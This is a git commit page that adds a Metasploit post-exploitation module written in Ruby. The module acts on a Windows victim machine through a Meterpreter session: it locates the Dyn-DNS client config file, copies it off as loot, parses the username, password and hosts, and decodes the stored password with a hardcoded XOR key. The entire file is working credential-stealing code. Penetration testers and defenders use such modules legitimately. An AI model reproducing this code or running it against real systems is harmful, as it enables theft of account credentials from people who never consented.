"bug" #5583 - Dyn-DNS client password extractor
git-svn-id: file:///home/svn/framework3/trunk@13863 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7cd144e7d6
commit
50d4e85c57
|
@ -0,0 +1,190 @@
|
|||
##
|
||||
#$Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dyn-Dns Client Password Extractor',
|
||||
'Description' => %q{
|
||||
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
|
||||
This is done by downloading the config.dyndns file from the victim machine, and then
|
||||
automatically decode the password field. The original copy of the config file is also
|
||||
saved to disk.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
|
||||
'sinn3r', #Lots of code rewrite
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Search for the config file.
|
||||
# Return the config file path, otherwise nil to indicate nothing was found
|
||||
#
|
||||
def get_config_file
|
||||
config_paths =
|
||||
[
|
||||
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
|
||||
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
|
||||
]
|
||||
|
||||
# Give me the first match
|
||||
config_file = nil
|
||||
config_paths.each do |p|
|
||||
tmp_path = p + "config.dyndns"
|
||||
begin
|
||||
f = session.fs.file.stat(tmp_path)
|
||||
config_file = tmp_path
|
||||
break #We've found a valid one, break!
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
return config_file
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Download the config file, and then load it up in memory.
|
||||
# Return the content.
|
||||
#
|
||||
def load_config_file(config_file)
|
||||
f = session.fs.file.new(config_file, "rb")
|
||||
content = ''
|
||||
until f.eof?
|
||||
content << f.read
|
||||
end
|
||||
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
|
||||
vprint_status("Raw config file saved: #{p.to_s}")
|
||||
return content
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse the data
|
||||
# Return: Hash { :username, :pass, :hosts }
|
||||
#
|
||||
def parse_config(content)
|
||||
# Look at each line for user/pass/host
|
||||
config_data = {}
|
||||
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
|
||||
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
|
||||
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
|
||||
|
||||
# Let's decode the pass
|
||||
pass = decode_password(pass) if not pass.nil?
|
||||
|
||||
# Store data in a hash, save it to the array
|
||||
# Might contain nil if nothing was regexed
|
||||
config_data = {
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:hosts => host
|
||||
}
|
||||
|
||||
return config_data
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Decode the password
|
||||
#
|
||||
def decode_password(pass)
|
||||
pass = [pass].pack('H*')
|
||||
s = ''
|
||||
c = 0
|
||||
|
||||
pass.each_byte do |a1|
|
||||
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
|
||||
s << (a1 ^ a2).chr
|
||||
c = ((c+1)%8)
|
||||
end
|
||||
|
||||
return s
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Print results and storeloot
|
||||
#
|
||||
def do_report(data)
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'DynDNS Client Data',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Field', 'Value']
|
||||
)
|
||||
|
||||
# Store username/password
|
||||
tbl << ['Username', data[:user]]
|
||||
tbl << ['Password', data[:pass]]
|
||||
|
||||
# Store all found hosts
|
||||
hosts = data[:hosts]
|
||||
hosts.each do |host|
|
||||
tbl << ['Host', host]
|
||||
end
|
||||
|
||||
print_status(tbl.to_s)
|
||||
|
||||
if not tbl.rows.empty?
|
||||
p = store_loot(
|
||||
'dyndns.data',
|
||||
'text/plain',
|
||||
session,
|
||||
tbl,
|
||||
'dyndns_data.txt',
|
||||
'DynDNS Client Data'
|
||||
)
|
||||
print_status("Parsed data stored in: #{p.to_s}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Main function, duh
|
||||
#
|
||||
def run
|
||||
# Find the config file
|
||||
config_file = get_config_file
|
||||
if config_file.nil?
|
||||
print_error("No config file found, will not continue")
|
||||
return
|
||||
end
|
||||
|
||||
# Load the config file
|
||||
print_status("Downloading config.dyndns...")
|
||||
content = load_config_file(config_file)
|
||||
|
||||
if content.empty?
|
||||
print_error("Config file seems empty, will not continue")
|
||||
return
|
||||
end
|
||||
|
||||
# Get parsed data
|
||||
config = parse_config(content)
|
||||
|
||||
# Store data
|
||||
do_report(config)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue